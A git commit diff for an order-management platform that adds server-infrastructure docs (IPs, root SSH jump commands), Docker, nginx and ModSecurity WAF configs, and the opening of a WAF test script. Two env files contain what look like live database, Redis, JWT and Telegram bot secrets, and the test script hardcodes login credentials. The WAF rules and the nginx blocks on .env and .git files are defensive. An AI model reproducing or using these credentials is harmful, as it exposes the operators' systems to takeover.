chore: update

This commit is contained in:
2026-06-14 17:36:41 +02:00
parent 1a1d62a1c1
commit 9404b1e77b
12 changed files with 1434 additions and 27 deletions
+1
View File
@@ -4,3 +4,4 @@ easpip
ansible/
dist/
monitoring
docker-prod/
+116 -22
View File
@@ -1,26 +1,26 @@
# 📚 Documentation API - Plateforme de Gestion de Commandes
**Version:** 5.3.0
**Date:** 2026-05-15
**Version:** 5.4.0
**Date:** 2026-06-11
**Base URL prod:** `https://mln-uber.club` (HTTPS via WAF nginx + ModSecurity)
**Base URL dev:** `http://localhost:8080`
**Technologies:** Go 1.24, Gin, PostgreSQL 16, Redis 7, React 19 + Vite, Expo 54 (React Native), TomTom API
---
## 📋 Table des Matières
1. [Vue d'ensemble](#vue-densemble)
2. [Déploiement Production](#-déploiement-production)
3. [Authentication](#authentication)
4. [API Client (v1)](#api-client-v1)
5. [API Admin (v2)](#api-admin-v2)
6. [API Cabine (v1)](#api-cabine-v1)
7. [API Livreur (v1)](#api-livreur-v1)
8. [Notifications Push & Telegram](#-notifications-push--telegram)
9. [Paiements Crypto](#-paiements-crypto)
10. [Systeme GPS Integre](#-systeme-gps-integre)
11. [Codes d'Erreur](#codes-derreur)
2. [Infrastructure Serveurs](#-infrastructure-serveurs)
3. [Déploiement Production](#-déploiement-production)
4. [Authentication](#authentication)
5. [API Client (v1)](#api-client-v1)
6. [API Admin (v2)](#api-admin-v2)
7. [API Cabine (v1)](#api-cabine-v1)
8. [API Livreur (v1)](#api-livreur-v1)
9. [Notifications Push & Telegram](#-notifications-push--telegram)
10. [Paiements Crypto](#-paiements-crypto)
11. [Systeme GPS Integre](#-systeme-gps-integre)
12. [Codes d'Erreur](#codes-derreur)
---
@@ -657,6 +657,86 @@ graph LR
---
## 🖥️ Infrastructure Serveurs
### Réseau VPN (WireGuard)
Tous les serveurs backend communiquent via un réseau WireGuard privé `10.0.0.0/24`. Le SSH est restreint à l'IP VPN uniquement sur les serveurs sensibles — il faut être connecté au VPN pour s'y connecter.
| Serveur | IP Publique | IP VPN | Rôle |
|---------|-------------|--------|------|
| **vpn-uber** | `45.150.111.158` | `10.0.0.1` | Serveur WireGuard — point d'entrée VPN et jump host SSH |
| **monitoring-uber** | `185.103.167.138` | `10.0.0.2` | Wazuh · Dozzle · Beszel hub · SSH via VPN uniquement |
| **backup-mln** | `85.121.176.241` | `10.0.0.4` | MinIO S3 · ClamAV · Beszel agent · SSH via VPN uniquement |
| **bdd-redis-prod** | `132.243.162.62` | `10.0.0.5` | PostgreSQL 16 · Redis 7 · Beszel agent · SSH via VPN uniquement |
| **prod-uber** | `185.103.166.119` | `10.0.0.6` | Backend Go + WAF nginx · accessible publiquement sur 80/443 |
| **pre-prod-uber** | `185.103.166.112` | — | Environnement de pré-production |
| **s3-uber** | `80.96.58.164` | — | Stockage S3 externe · Dozzle agent |
### Architecture DMZ / LAN
```
Internet
prod-uber (DMZ — 185.103.166.119)
│ 80/443 public
│ ──── VPN (10.0.0.6) ────► bdd-redis-prod (LAN — 10.0.0.5)
│ ├── PostgreSQL :5432
│ └── Redis :6379
vpn-uber (10.0.0.1) — jump host SSH pour accès aux autres serveurs
```
L'application prod-uber se connecte à PostgreSQL et Redis via les IP VPN :
- `DB_HOST=10.0.0.5` (PostgreSQL sur bdd-redis-prod)
- `REDIS_HOST=10.0.0.5` (Redis sur bdd-redis-prod)
### Monitoring
Toutes les ressources monitoring sont accessibles via VPN (`10.0.0.2`) :
| Outil | URL | Description |
|-------|-----|-------------|
| **Wazuh** | `https://10.0.0.2` | SIEM — alertes sécurité, logs agents |
| **Dozzle** | `https://10.0.0.2:8080` | Logs Docker de tous les serveurs en temps réel |
| **Beszel** | `https://10.0.0.2:8090` | Métriques système (CPU, RAM, disque, réseau) |
Dozzle agrège les logs de : `pre-prod-uber`, `prod-uber`, `backup-mln (VPN)`, `s3-uber`.
Beszel surveille : `monitoring-uber`, `backup-mln` (agent Docker port 10001), `bdd-redis-prod` (agent binaire systemd port 10001).
Nettoyage automatique des logs Wazuh : cron tous les dimanches à 3h00 sur monitoring-uber (`/usr/local/bin/clean-wazuh-logs.sh`).
### Sécurité réseau
- **UFW** activé sur monitoring-uber et backup-mln : SSH bloqué depuis IP publique, accessible uniquement via VPN
- **UFW** activé sur bdd-redis-prod : SSH, PostgreSQL et Redis accessibles uniquement depuis le réseau VPN (`10.0.0.0/24`)
- Ports Docker liés à l'IP VPN (`10.0.0.4:port:port`) pour ne pas bypasser UFW
- **ClamAV** sur backup-mln : scan antivirus quotidien de `/mnt/data`
### Accès SSH aux serveurs VPN-only
```bash
# Via le jump host vpn-uber
ssh -J root@45.150.111.158 root@10.0.0.2 # monitoring-uber
ssh -J root@45.150.111.158 root@10.0.0.4 # backup-mln
ssh -J root@45.150.111.158 root@10.0.0.5 # bdd-redis-prod
```
### Sauvegarde S3 (backup-mln)
MinIO S3 tourne sur backup-mln avec nginx SSL proxy :
| Endpoint | Adresse |
|----------|---------|
| API S3 | `https://10.0.0.4:9000` (via VPN) |
| Console MinIO | `https://10.0.0.4:9001` (via VPN) |
| Console nginx | `https://10.0.0.4:8080` (via VPN) |
Les données sont montées sur `/mnt/data`.
---
## 🚀 Déploiement Production
### Prérequis
@@ -703,27 +783,40 @@ docker compose -f docker/docker-compose-prod.yml up -d --build
docker compose -f docker/docker-compose-prod.yml logs -f waf
```
### Services Docker
### Services Docker (prod-uber)
| Service | Image | Rôle |
|---------|-------|------|
| `waf` | owasp/modsecurity-crs:nginx-alpine | Point d'entrée HTTPS (ports 80/443) |
| `backend` | Go 1.24 alpine | API REST (port 8080 interne) |
| `frontend` | nginx:alpine | SPA React (port 80 interne) |
| `postgres` | postgres:16-alpine | Base de données |
| `redis` | redis:7-alpine | Cache + sessions + queues |
> PostgreSQL et Redis **ne tournent plus sur prod-uber**. Ils sont hébergés sur le serveur dédié `bdd-redis-prod` (`10.0.0.5`) et accessibles via le VPN WireGuard. Voir la section [Infrastructure Serveurs](#-infrastructure-serveurs).
### Variables d'environnement requises
```bash
# Base de données (bdd-redis-prod via VPN)
DB_HOST=10.0.0.5 # IP VPN de bdd-redis-prod
DB_PORT=5432
DB_PASSWORD= # Mot de passe PostgreSQL
# Redis (bdd-redis-prod via VPN)
REDIS_HOST=10.0.0.5 # IP VPN de bdd-redis-prod
REDIS_PORT=6379
REDIS_PASSWORD= # Mot de passe Redis
# JWT
USER_JWT_SECRET= # Secret JWT clients (min 32 chars)
ADMIN_JWT_SECRET= # Secret JWT admin/livreur/cabine (min 32 chars)
REDIS_PASSWORD= # Mot de passe Redis
TOMTOM_API_KEY= # Clé API TomTom (principale / legacy)
TOMTOM_API_KEY_1= # Clé TomTom #1 (rotation automatique)
TOMTOM_API_KEY_2= # Clé TomTom #2 (rotation automatique)
TOMTOM_API_KEY_3= # Clé TomTom #3 (rotation automatique)
# TomTom (rotation automatique entre les 3 clés)
TOMTOM_API_KEY= # Clé TomTom principale / legacy
TOMTOM_API_KEY_1= # Clé TomTom #1
TOMTOM_API_KEY_2= # Clé TomTom #2
TOMTOM_API_KEY_3= # Clé TomTom #3
# Divers
SESSION_SECRET= # Secret sessions
TELEGRAM_WEBHOOK_URL= # URL webhook Telegram
TELEGRAM_WEBHOOK_SECRET= # Secret webhook Telegram
@@ -3034,8 +3127,9 @@ Le système tente d'abord toutes les clés disponibles en rotation, puis bascule
---
**Documentation mise à jour le :** 2026-05-18
**Documentation mise à jour le :** 2026-06-11
**Version API :** 5.4.0
**Technologies :** Go 1.24, Gin, PostgreSQL 16, Redis 7, React 19, Expo 54, TomTom API, ModSecurity WAF
**Déploiement :** Docker Compose · Nginx + ModSecurity OWASP CRS · TLS 1.2/1.3
**Base URL prod :** `https://mln-uber.club`
**Infrastructure :** WireGuard VPN · Wazuh SIEM · Dozzle · Beszel · ClamAV · MinIO S3
+26
View File
@@ -0,0 +1,26 @@
DB_HOST=postgres
DB_PORT=5432
DB_USER=postgres
DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420
DB_NAME=gestion_db
DB_SSLMODE=disable
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
REDIS_HOST=redis
REDIS_PORT=6379
REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
TELEGRAM_BOT_USERNAME=rezsssnfdsjfdsfbot
TELEGRAM_WEBHOOK_SECRET=vGB8n5H2fJTUx6jy6iYgYlqLz1mfSv9htF
TELEGRAM_WEBHOOK_URL=https://uber-demo.club/webhook/telegram
BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ
LBTELEGRAM_URL=http://lbtelegram:8081
LBTELEGRAM_BOT1_USERNAME=GetRezStealer_bot
LBTELEGRAM_BOT2_USERNAME=rezDJDFJSFUltraFast_bot
BACKEND_LINK_SECRET=change_me_internal_secret
API_PORT=8080
FRONTEND_PORT=5173
GIN_MODE=release
+30
View File
@@ -0,0 +1,30 @@
# Gateway
PORT=8081
ENV=production
BOT_COUNT=2
# Bots Telegram
BOT1_TOKEN=8336841145:AAHPfHdgqLctEC_Zet5mT8D7ZXiwp8BQ1io
BOT1_USERNAME=GetRezStealer_bot
BOT1_WEBHOOK_SECRET=cVxqtea9s078ozDSlX57MWe6bjoLAK3ra7Zq
BOT2_TOKEN=8325503969:AAGffm9Q-oYr5ySf8cR4Wr-e2CA2p_xOrbg
BOT2_USERNAME=rezDJDFJSFUltraFast_bot
BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi
# URL publique de la gateway (pour setWebhook Telegram)
GATEWAY_URL=https://demo-uber.club
# JWT
JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ
JWT_TTL_SECONDS=300
# Load balancer: roundrobin | leastconn | failover
LB_STRATEGY=failover
# Health check interval en secondes
HEALTH_CHECK_INTERVAL=30
# URL interne du backend pour valider les tokens de liaison
BACKEND_LINK_URL=http://backend:8080/api/internal/telegram/link
BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ
+76
View File
@@ -0,0 +1,76 @@
FROM golang:1.24-alpine AS builder
WORKDIR /app
# Installer les dépendances système
RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev
# Copier go mod files
COPY backend/gestion/go.mod backend/gestion/go.sum ./
# Configurer Go et télécharger les dépendances
ENV GOPROXY=https://proxy.golang.org,direct
ENV GOSUMDB=sum.golang.org
ENV CGO_ENABLED=0
# Télécharger les dépendances
RUN go mod download
# Copier tout le code source
COPY backend/gestion/ .
# Build le binaire
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
-ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
-o /app/server .
# =========================================================
# Stage 2: Runtime
# =========================================================
FROM alpine:latest AS runtime
# Installer les dépendances runtime
RUN apk --no-cache add ca-certificates tzdata wget
# Créer l'utilisateur avec UID/GID fixes
RUN addgroup -g 101 app && adduser -u 101 -S app -G app
WORKDIR /app
# Copier le binaire et les fichiers nécessaires
COPY --from=builder /app/server .
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
# Copier l'entrypoint
COPY docker/backend/entrypoint.sh .
RUN chmod +x entrypoint.sh
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
chown -R app:app /app
# Passer à l'utilisateur non-root
USER app
EXPOSE 8080
ENTRYPOINT ["./entrypoint.sh"]
# =========================================================
# Stage 3: WAF (Nginx + ModSecurity)
# =========================================================
FROM owasp/modsecurity-crs:nginx-alpine AS waf
# Toutes les opérations privilégiées en root
USER root
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
COPY docker/backend/nginx.conf /etc/nginx/conf.d/app.conf
COPY docker/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
USER nginx
EXPOSE 80 443
CMD ["nginx", "-g", "daemon off;"]
+77
View File
@@ -0,0 +1,77 @@
# Exclure le corps des requêtes/réponses de l'audit log pour garder les lignes < 6KB (limite Wazuh)
SecAuditLogParts ABIFHZ
SecRuleRemoveById 932235
SecRuleRemoveById 911100
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
"id:399002,phase:2,nolog,pass,\
ctl:ruleRemoveById=920120,\
ctl:ruleRemoveById=920121"
SecRule REQUEST_URI "@beginsWith /uploads/" \
"id:1000,\
phase:1,\
pass,\
nolog,\
ctl:ruleEngine=Off"
SecRule IP:BANNED "@eq 1" \
"id:100000,phase:1,deny,status:403,log,\
msg:'IP is banned'"
SecRule IP:REPUTATION_SCORE "@ge 100" \
"id:100099,phase:1,deny,status:403,log,\
msg:'Critical reputation score',\
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
SecRule TX:SQL_INJECTION_SCORE "@ge 5" \
"id:100001,phase:2,deny,status:403,log,\
msg:'SQL Injection detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:XSS_SCORE "@ge 5" \
"id:100010,phase:2,deny,status:403,log,\
msg:'XSS detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:RCE_SCORE "@ge 5" \
"id:100020,phase:2,deny,status:403,log,\
msg:'RCE detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=259200'"
SecRule TX:LFI_SCORE "@ge 5" \
"id:100030,phase:2,deny,status:403,log,\
msg:'LFI detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \
"id:100060,phase:2,deny,status:403,log,\
msg:'Critical anomaly score',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule REQUEST_URI "@streq /api/v1/panier/remove" \
"id:399010,phase:1,nolog,pass,\
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
SecRule REQUEST_URI "@streq /api/v1/panier/clear" \
"id:399011,phase:1,nolog,pass,\
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
"id:399001,phase:2,nolog,pass,\
ctl:ruleRemoveById=932235"
SecAction \
"id:400161,phase:1,nolog,pass,\
setvar:'ip.request_window_1sec=+1',\
expirevar:'ip.request_window_1sec=1'"
SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \
"id:400160,phase:1,deny,status:429,log,\
msg:'Too many requests'"
SecRule IP:REPUTATION_SCORE "@ge 100" \
"id:409999,phase:1,deny,status:403,log,\
msg:'Critical reputation score',\
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
+16
View File
@@ -0,0 +1,16 @@
#!/bin/sh
set -e
# Créer le dossier uploads s'il n'existe pas (le volume le crée en root)
# Puis créer les sous-dossiers
if [ ! -d "/app/uploads" ]; then
mkdir -p /app/uploads
fi
# Créer les sous-répertoires
mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true
echo "✅ Répertoires uploads prêts"
# Lancer l'application
exec ./server
+215
View File
@@ -0,0 +1,215 @@
# =========================================================
# Request ID correlation
# =========================================================
map $http_x_request_id $req_id {
default $http_x_request_id;
"" $request_id;
}
# =========================================================
# HTTP → HTTPS redirect
# =========================================================
server {
listen 80;
listen [::]:80;
server_name _;
return 301 https://$host$request_uri;
}
# =========================================================
# HTTPS — Hardened
# =========================================================
server {
listen 443 ssl;
listen [::]:443 ssl;
http2 on;
server_name _;
server_tokens off;
# ---------------------------------------------------
# TLS
# ---------------------------------------------------
ssl_certificate /etc/nginx/certs/fullchain.pem;
ssl_certificate_key /etc/nginx/certs/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 1d;
ssl_session_tickets off;
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /etc/nginx/certs/fullchain.pem;
resolver 127.0.0.11 valid=10s ipv6=off;
resolver_timeout 5s;
# ---------------------------------------------------
# En-têtes de sécurité
# ---------------------------------------------------
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "0" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https:; font-src 'self' data:; connect-src 'self' https:; frame-ancestors 'self';" always;
# ---------------------------------------------------
# Limites et timeouts
# ---------------------------------------------------
client_max_body_size 100M;
client_body_buffer_size 128k;
client_header_buffer_size 1k;
large_client_header_buffers 4 8k;
client_body_timeout 30s;
client_header_timeout 30s;
send_timeout 30s;
keepalive_timeout 65s;
# ---------------------------------------------------
# Gzip (statique uniquement — évite BREACH sur l'API)
# ---------------------------------------------------
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 5;
gzip_min_length 1000;
gzip_types text/plain text/css text/javascript application/javascript application/json image/svg+xml;
# ---------------------------------------------------
# ModSecurity WAF
# ---------------------------------------------------
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf;
# ---------------------------------------------------
# API backend Go
# ---------------------------------------------------
location /api/ {
limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; }
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' "$http_origin" always;
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always;
add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Access-Control-Max-Age' 86400 always;
add_header 'Content-Length' 0;
add_header 'Content-Type' 'text/plain charset=UTF-8';
return 204;
}
set $upstream_backend http://backend:8080;
proxy_pass $upstream_backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Request-ID $req_id;
proxy_hide_header X-Powered-By;
proxy_connect_timeout 60s;
proxy_send_timeout 300s;
proxy_read_timeout 300s;
proxy_buffer_size 128k;
proxy_buffers 4 256k;
proxy_busy_buffers_size 256k;
}
# ---------------------------------------------------
# Webhook Telegram principal → backend Go
# ---------------------------------------------------
location = /webhook/telegram {
limit_except POST { deny all; }
set $upstream_backend http://backend:8080;
proxy_pass $upstream_backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ---------------------------------------------------
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
# ---------------------------------------------------
location /webhook/ {
limit_except POST { deny all; }
set $upstream_lbtelegram http://lbtelegram:8081;
proxy_pass $upstream_lbtelegram;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ---------------------------------------------------
# Fichiers uploadés (images / vidéos)
# ---------------------------------------------------
location /uploads/ {
alias /usr/share/nginx/html/uploads/;
expires 7d;
add_header Cache-Control "public, no-transform" always;
add_header X-Content-Type-Options "nosniff" always;
location ~* \.(php|pl|py|cgi|sh|rb|exe)$ {
deny all;
}
}
# ---------------------------------------------------
# Frontend React SPA
# ---------------------------------------------------
location / {
set $upstream_frontend http://frontend:80;
proxy_pass $upstream_frontend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ---------------------------------------------------
# Blocage fichiers sensibles
# ---------------------------------------------------
location ~ /\. {
deny all;
access_log off;
log_not_found off;
}
location ~* \.(env|git|sql|bak|log|conf|ini|sh)$ {
deny all;
access_log off;
log_not_found off;
}
location ~* (package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose)$ {
deny all;
access_log off;
log_not_found off;
}
# Bloquer scans WordPress / PHP courants
location ~* (wp-admin|wp-login|wp-content|xmlrpc|\.php)$ {
deny all;
access_log off;
log_not_found off;
}
}
+212
View File
@@ -0,0 +1,212 @@
services:
# =========================================================
# Backend Go
# =========================================================
backend:
image: xor1234/backend-mln:pre-prod
container_name: gestion-backend
restart: unless-stopped
environment:
- DB_HOST=${DB_HOST:-postgres}
- DB_PORT=${DB_PORT:-5432}
- DB_USER=${DB_USER:-postgres}
- DB_PASSWORD=${DB_PASSWORD}
- DB_NAME=${DB_NAME:-gestion_db}
- DB_SSLMODE=${DB_SSLMODE:-disable}
- SESSION_SECRET=${SESSION_SECRET}
- USER_JWT_SECRET=${USER_JWT_SECRET}
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
- REDIS_HOST=${REDIS_HOST:-redis}
- REDIS_PORT=${REDIS_PORT:-6379}
- REDIS_PASSWORD=${REDIS_PASSWORD}
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
- TOMTOM_API_KEY_1=${TOMTOM_API_KEY_1}
- TOMTOM_API_KEY_2=${TOMTOM_API_KEY_2}
- TOMTOM_API_KEY_3=${TOMTOM_API_KEY_3}
- API_PORT=${API_PORT:-8080}
- NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET}
- TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN}
- TELEGRAM_BOT_USERNAME=${TELEGRAM_BOT_USERNAME}
- TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET}
- TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL}
- LBTELEGRAM_URL=http://lbtelegram:8081
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
volumes:
- backend_uploads:/app/uploads
networks:
- gestion-network
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
# =========================================================
# Frontend Web (React/Vite — servi en HTTP interne)
# =========================================================
frontend:
image: xor1234/frontend-mln:pre-prod
container_name: gestion-frontend
restart: unless-stopped
networks:
- gestion-network
depends_on:
- backend
waf:
image: xor1234/backend-mln:waf-pre-prod
container_name: gestion-waf
restart: unless-stopped
environment:
- DISABLE_MODSEC_ENV_SUBST=true
- PARANOIA=2
- ANOMALY_INBOUND=5
- ANOMALY_OUTBOUND=4
- MODSEC_AUDIT_LOG=/var/log/modsec/modsec_audit.log
ports:
- "80:80"
- "443:443"
volumes:
- backend_uploads:/usr/share/nginx/html/uploads:ro
- ./certs:/etc/nginx/certs:ro
- ./backend/nginx.conf:/etc/nginx/conf.d/app.conf:ro
- ./backend/custom-rules.conf:/etc/nginx/modsec/custom-rules.conf:ro
- /var/log/waf/nginx:/var/log/nginx
- /var/log/waf/modsec:/var/log/modsec
networks:
- gestion-network
depends_on:
- backend
- frontend
# =========================================================
# PostgreSQL
# =========================================================
postgres:
image: postgres:16-alpine
container_name: gestion-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=${DB_USER:-postgres}
- POSTGRES_PASSWORD=${DB_PASSWORD}
- POSTGRES_DB=${DB_NAME:-gestion_db}
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- postgres_data:/var/lib/postgresql/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
]
interval: 10s
timeout: 5s
retries: 5
start_period: 10s
# =========================================================
# Redis
# =========================================================
redis:
image: redis:7-alpine
container_name: gestion-redis
restart: unless-stopped
command: >
redis-server
--requirepass ${REDIS_PASSWORD}
--appendonly yes
--appendfsync everysec
--maxmemory 256mb
--maxmemory-policy allkeys-lru
volumes:
- redis_data:/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD",
"redis-cli",
"--no-auth-warning",
"-a",
"${REDIS_PASSWORD}",
"ping",
]
interval: 10s
timeout: 3s
retries: 5
start_period: 10s
# =========================================================
# LBTelegram — Gateway Telegram load balancer
# =========================================================
lbtelegram:
image: xor1234/load-balancer-tlg:latest
container_name: gestion-lbtelegram
restart: unless-stopped
env_file: ./.env.lbtelegram
environment:
- REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0
- DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@postgres:5432/${DB_NAME}?sslmode=disable
networks:
- gestion-network
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
backend:
condition: service_started
clamav:
deploy:
resources:
limits:
memory: 1g
cpus: 0.5
image: clamav/clamav:latest
container_name: gestion-clamav
restart: unless-stopped
volumes:
- backend_uploads:/app/uploads:ro
- clamav_data:/var/lib/clamav
networks:
- gestion-network
healthcheck:
test: ["CMD", "clamdcheck.sh"]
interval: 60s
timeout: 10s
retries: 3
start_period: 120s
dozzle-agent:
image: amir20/dozzle:latest
command: agent
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
ports:
- "7007:7007"
restart: unless-stopped
networks:
gestion-network:
driver: bridge
internal: false
driver_opts:
com.docker.network.bridge.name: gestion-br0
volumes:
postgres_data:
driver: local
redis_data:
driver: local
backend_uploads:
driver: local
clamav_data:
driver: local
+34
View File
@@ -0,0 +1,34 @@
# =========================================================
# Stage 1: Build React/Vite
# =========================================================
FROM node:22-alpine AS builder
WORKDIR /app
COPY frontend-prep/package.json frontend-prep/package-lock.json* ./
RUN npm ci --ignore-scripts
COPY frontend-prep/ .
RUN npm run build
# =========================================================
# Stage 2: Nginx HTTP (TLS terminé par le WAF)
# =========================================================
FROM nginx:alpine AS runtime
COPY docker/frontend/nginx.conf /etc/nginx/conf.d/default.conf
COPY --from=builder /app/dist /usr/share/nginx/html
RUN chown -R nginx:nginx /usr/share/nginx/html && \
mkdir -p /var/cache/nginx && \
chown -R nginx:nginx /var/cache/nginx && \
chown -R nginx:nginx /var/log/nginx && \
touch /var/run/nginx.pid && \
chown nginx:nginx /var/run/nginx.pid
USER nginx
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
+16
View File
@@ -0,0 +1,16 @@
server {
listen 80;
server_name _;
root /usr/share/nginx/html;
index index.html;
location / {
try_files $uri $uri/ /index.html;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
}
+610
View File
@@ -0,0 +1,610 @@
#!/bin/bash
# =============================================================================
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
# =============================================================================
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
# Usage: ./test-rules.sh
# =============================================================================
# Couleurs pour l'affichage
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
BOLD='\033[1m'
# Configuration
API_BASE_URL="http://172.20.167.237"
# Credentials Client
CLIENT_USERNAME="salut"
CLIENT_PASSWORD="salut1234_"
CLIENT_TOKEN=""
# Credentials Admin
ADMIN_USERNAME="admin_1768505094"
ADMIN_PASSWORD="AdminPass123!"
ADMIN_TOKEN=""
TOTAL_TESTS=0
PASSED_TESTS=0
FAILED_TESTS=0
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
# =============================================================================
# Fonctions Utilitaires
# =============================================================================
print_header() {
echo -e "\n${BOLD}${CYAN}========================================${NC}"
echo -e "${BOLD}${CYAN}$1${NC}"
echo -e "${BOLD}${CYAN}========================================${NC}\n"
}
print_section() {
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
}
print_test() {
echo -e "${YELLOW}[TEST] $1${NC}"
}
print_success() {
((PASSED_TESTS++))
((TOTAL_TESTS++))
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
}
print_fail() {
